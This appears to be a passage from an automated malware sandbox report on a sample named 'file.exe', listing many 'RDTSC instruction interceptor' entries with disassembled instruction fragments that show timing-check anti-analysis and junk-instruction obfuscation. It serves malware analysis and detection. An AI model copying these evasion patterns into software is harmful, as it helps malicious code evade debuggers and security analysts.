Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED8FB second address: 6ED939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F3BB8CF9508h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 and edx, dword ptr [ebp+122D1E44h] 0x0000002a push 00000004h 0x0000002c sbb edx, 3CD81C61h 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push edi 0x00000037 pop edi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED939 second address: 6ED93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED93E second address: 6ED948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3BB8CF9506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741F28 second address: 741F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3BB941C8E8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741F4C second address: 741F5A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741F5A second address: 741F6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3BB941C8DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6972E8 second address: 6972F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6972F5 second address: 697310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F3BB941C8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push ebx 0x0000000e jno 00007F3BB941C8D6h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 697310 second address: 697314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7456DB second address: 7456E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7456E1 second address: 7456E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7456E5 second address: 7456F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3BB941C8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7456F1 second address: 7456F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7456F7 second address: 7456FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7456FD second address: 745701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745A02 second address: 745A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB941C8E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745A19 second address: 745A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745CAD second address: 745CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745F8B second address: 745F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF950Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A375 second address: 74A37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752869 second address: 75286F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7529E1 second address: 7529F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7529F9 second address: 752A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752B52 second address: 752B57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752B57 second address: 752B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752B5D second address: 752B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jo 00007F3BB941C8D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752B6B second address: 752B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754522 second address: 754528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754528 second address: 754533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3BB8CF9506h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754533 second address: 75454C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB941C8E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75984E second address: 759858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3BB8CF9506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759858 second address: 75985C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CF11 second address: 75CF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CF18 second address: 75CF5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB941C8E9h 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F3BB941C8E3h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3BB941C8DDh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CF5B second address: 75CF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D1F9 second address: 75D21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E5h 0x00000009 jmp 00007F3BB941C8DBh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A80 second address: 765A8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A8C second address: 765A92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A92 second address: 765A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A9C second address: 765AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765C1C second address: 765C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765C25 second address: 765C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765C29 second address: 765C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765DA7 second address: 765DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB941C8E9h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765F23 second address: 765F31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76664F second address: 766669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766669 second address: 76667B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76667B second address: 766693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766693 second address: 766697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766697 second address: 76669F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76669F second address: 7666A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7666A5 second address: 7666AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7666AB second address: 7666AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7666AF second address: 7666B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7666B3 second address: 7666CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3BB8CF9506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F3BB8CF9506h 0x00000013 jc 00007F3BB8CF9506h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764C33 second address: 764C3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764C3C second address: 764C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DDBA second address: 76DDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A7D9 second address: 77A802 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3BB8CF950Ch 0x00000008 pushad 0x00000009 jmp 00007F3BB8CF9518h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786BD4 second address: 786BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786BD8 second address: 786BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786BDC second address: 786BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CE27 second address: 78CE2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E60B second address: 78E61B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3BB941C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E61B second address: 78E61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E61F second address: 78E62C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3BB941C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7922DC second address: 7922F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF9512h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792185 second address: 7921A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AC59 second address: 79AC7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Bh 0x00000007 jo 00007F3BB8CF9506h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jnl 00007F3BB8CF9506h 0x00000016 ja 00007F3BB8CF9506h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AC7C second address: 79AC87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F3BB941C8D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AC87 second address: 79AC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7997E2 second address: 7997EC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3BB941C8DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7997EC second address: 799806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF950Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799806 second address: 799811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3BB941C8D6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799C60 second address: 799C6C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799DD2 second address: 799DD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799F4C second address: 799F56 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3BB8CF9506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799F56 second address: 799F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A91F second address: 79A923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EAD7 second address: 79EAEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EAEC second address: 79EB0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9513h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c jne 00007F3BB8CF9506h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EB0E second address: 79EB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 ja 00007F3BB941C8E4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EB1F second address: 79EB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE718 second address: 7AE71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE71F second address: 7AE725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0047 second address: 7B004D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC041 second address: 7BC04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC04A second address: 7BC063 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3BB941C8DEh 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE7C second address: 7BBE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3BB8CF9506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE86 second address: 7BBE96 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3BB941C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE96 second address: 7BBE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE9A second address: 7BBEA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEA2 second address: 7BBEA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEA9 second address: 7BBEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jl 00007F3BB941C8D6h 0x00000012 jmp 00007F3BB941C8DAh 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEC6 second address: 7BBEDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE1B4 second address: 7BE1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F3BB941C8E5h 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jng 00007F3BB941C8D6h 0x00000015 jmp 00007F3BB941C8E9h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDECF second address: 7BDEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F3BB8CF9516h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDEF0 second address: 7BDF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3BB941C8DAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BDF02 second address: 7BDF07 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3FB9 second address: 7D3FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F3BB941C8DAh 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3FD3 second address: 7D3FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3FD9 second address: 7D3FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
